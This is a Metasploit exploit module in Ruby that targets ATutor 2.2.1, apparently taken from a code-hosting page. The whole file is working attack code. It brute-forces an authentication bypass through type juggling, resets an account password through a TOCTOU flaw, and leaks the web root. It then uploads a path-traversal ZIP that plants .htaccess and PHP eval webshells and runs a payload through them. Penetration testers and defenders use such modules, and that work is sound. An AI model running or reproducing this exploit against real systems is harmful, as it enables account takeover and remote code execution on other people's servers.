361 lines
13 KiB
Ruby
361 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
|
|
setup with display_errors set to On, which can be used to allow us to upload a malicious
|
|
ZIP file. On the web application, a blacklist verification is performed before extraction,
|
|
however it is not sufficient to prevent exploitation.
|
|
|
|
You are required to login to the target to reach the vulnerability, however this can be
|
|
done as a student account and remote registration is enabled by default.
|
|
|
|
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
|
|
in order to bypass the authentication:
|
|
|
|
1. confirm.php Authentication Bypass Type Juggling vulnerability
|
|
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
|
|
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Mar 1 2016',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
|
OptString.new('USERNAME', [false, 'The username to authenticate as']),
|
|
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
|
|
],self.class)
|
|
end
|
|
|
|
def print_status(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_error(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_good(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def check
|
|
# there is no real way to finger print the target so we just
|
|
# check if we can upload a zip and extract it into the web root...
|
|
# obviously not ideal, but if anyone knows better, feel free to change
|
|
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
|
|
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
|
|
if student_cookie != nil && disclose_web_root
|
|
begin
|
|
if upload_shell(student_cookie, check=true) && found
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
rescue Msf::Exploit::Failed => e
|
|
vprint_error(e.message)
|
|
end
|
|
else
|
|
# if we cant login, it may still be vuln
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
else
|
|
# if no creds are supplied, it may still be vuln
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def create_zip_file(check=false)
|
|
zip_file = Rex::Zip::Archive.new
|
|
@header = Rex::Text.rand_text_alpha_upper(4)
|
|
@payload_name = Rex::Text.rand_text_alpha_lower(4)
|
|
@archive_name = Rex::Text.rand_text_alpha_lower(3)
|
|
@test_string = Rex::Text.rand_text_alpha_lower(8)
|
|
# we traverse back into the webroot mods/ directory (since it will be writable)
|
|
path = "../../../../../../../../../../../../..#{@webroot}mods/"
|
|
|
|
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
|
|
# we will win. If not, we may still win because these file extensions are often registered as php
|
|
# with the webserver, thus allowing us remote code execution.
|
|
if check
|
|
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
|
|
else
|
|
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
|
|
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
|
|
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
end
|
|
zip_file.pack
|
|
end
|
|
|
|
def found
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
|
|
})
|
|
if res and res.code == 200 and res.body =~ /#{@test_string}/
|
|
return true
|
|
end
|
|
return false
|
|
end
|
|
|
|
def disclose_web_root
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
|
|
})
|
|
@webroot = "/"
|
|
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
|
|
if @webroot != "/"
|
|
return true
|
|
end
|
|
return false
|
|
end
|
|
|
|
def call_php(ext)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
|
|
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
|
}, timeout=0.1)
|
|
return res
|
|
end
|
|
|
|
def exec_code
|
|
res = nil
|
|
res = call_php("pht")
|
|
if res == nil
|
|
res = call_php("phtml")
|
|
end
|
|
if res == nil
|
|
res = call_php("php4")
|
|
end
|
|
end
|
|
|
|
def upload_shell(cookie, check)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
|
|
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
|
|
data = post_data.to_s
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'h' => ''
|
|
}
|
|
})
|
|
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
|
|
return true
|
|
end
|
|
# unknown failure...
|
|
fail_with(Failure::Unknown, "Unable to upload php code")
|
|
return false
|
|
end
|
|
|
|
def find_user(cookie)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
|
|
'cookie' => cookie,
|
|
# we need to set the agent to the same value that was in type_juggle,
|
|
# since the bypassed session is linked to the user-agent. We can then
|
|
# use that session to leak the username
|
|
'agent' => ''
|
|
})
|
|
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
|
|
if username
|
|
return username
|
|
end
|
|
# else we fail, because we dont know the username to login as
|
|
fail_with(Failure::Unknown, "Unable to find the username!")
|
|
end
|
|
|
|
def type_juggle
|
|
# high padding, means higher success rate
|
|
# also, we use numbers, so we can count requests :p
|
|
for i in 1..8
|
|
for @number in ('0'*i..'9'*i)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "confirm.php"),
|
|
'vars_post' => {
|
|
'auto_login' => '',
|
|
'code' => '0' # type juggling
|
|
},
|
|
'vars_get' => {
|
|
'e' => @number, # the bruteforce
|
|
'id' => '',
|
|
'm' => '',
|
|
# the default install script creates a member
|
|
# so we know for sure, that it will be 1
|
|
'member_id' => '1'
|
|
},
|
|
# need to set the agent, since we are creating x number of sessions
|
|
# and then using that session to get leak the username
|
|
'agent' => ''
|
|
}, redirect_depth = 0) # to validate a successful bypass
|
|
if res and res.code == 302
|
|
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
return cookie
|
|
end
|
|
end
|
|
end
|
|
# if we finish the loop and have no sauce, we cant make pasta
|
|
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
|
|
end
|
|
|
|
def reset_password
|
|
# this is due to line 79 of password_reminder.php
|
|
days = (Time.now.to_i/60/60/24)
|
|
# make a semi strong password, we have to encourage security now :->
|
|
pass = Rex::Text.rand_text_alpha(32)
|
|
hash = Rex::Text.sha1(pass)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
|
|
'vars_post' => {
|
|
'form_change' => 'true',
|
|
# the default install script creates a member
|
|
# so we know for sure, that it will be 1
|
|
'id' => '1',
|
|
'g' => days + 1, # needs to be > the number of days since epoch
|
|
'h' => '', # not even checked!
|
|
'form_password_hidden' => hash, # remotely reset the password
|
|
'submit' => 'Submit'
|
|
},
|
|
}, redirect_depth = 0) # to validate a successful bypass
|
|
|
|
if res and res.code == 302
|
|
return pass
|
|
end
|
|
# if we land here, the TOCTOU failed us
|
|
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
|
|
end
|
|
|
|
def login(username, password, check=false)
|
|
hash = Rex::Text.sha1(Rex::Text.sha1(password))
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "login.php"),
|
|
'vars_post' => {
|
|
'form_password_hidden' => hash,
|
|
'form_login' => username,
|
|
'submit' => 'Login',
|
|
'token' => '',
|
|
},
|
|
})
|
|
# poor php developer practices
|
|
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
if res && res.code == 302
|
|
if res.redirection.to_s.include?('bounce.php?course=0')
|
|
return cookie
|
|
end
|
|
end
|
|
# auth failed if we land here, bail
|
|
unless check
|
|
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
|
end
|
|
return nil
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: ssl ? 'https' : 'http',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
post_reference_name: self.refname,
|
|
private_data: opts[:password],
|
|
origin_type: :service,
|
|
private_type: :password,
|
|
username: opts[:user]
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
last_attempted_at: Time.now
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def exploit
|
|
# login if needed
|
|
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
|
|
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
|
|
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
print_good("Logged in as #{datastore['USERNAME']}")
|
|
# else, we reset the students password via a type juggle vulnerability
|
|
else
|
|
print_status("Account details are not set, bypassing authentication...")
|
|
print_status("Triggering type juggle attack...")
|
|
student_cookie = type_juggle
|
|
print_good("Successfully bypassed the authentication in #{@number} requests !")
|
|
username = find_user(student_cookie)
|
|
print_good("Found the username: #{username} !")
|
|
password = reset_password
|
|
print_good("Successfully reset the #{username}'s account password to #{password} !")
|
|
report_cred(user: username, password: password)
|
|
student_cookie = login(username, password)
|
|
print_good("Logged in as #{username}")
|
|
end
|
|
|
|
if disclose_web_root
|
|
print_good("Found the webroot")
|
|
# we got everything. Now onto pwnage
|
|
if upload_shell(student_cookie, false)
|
|
print_good("Zip upload successful !")
|
|
exec_code
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
=begin
|
|
php.ini settings:
|
|
display_errors = On
|
|
=end
|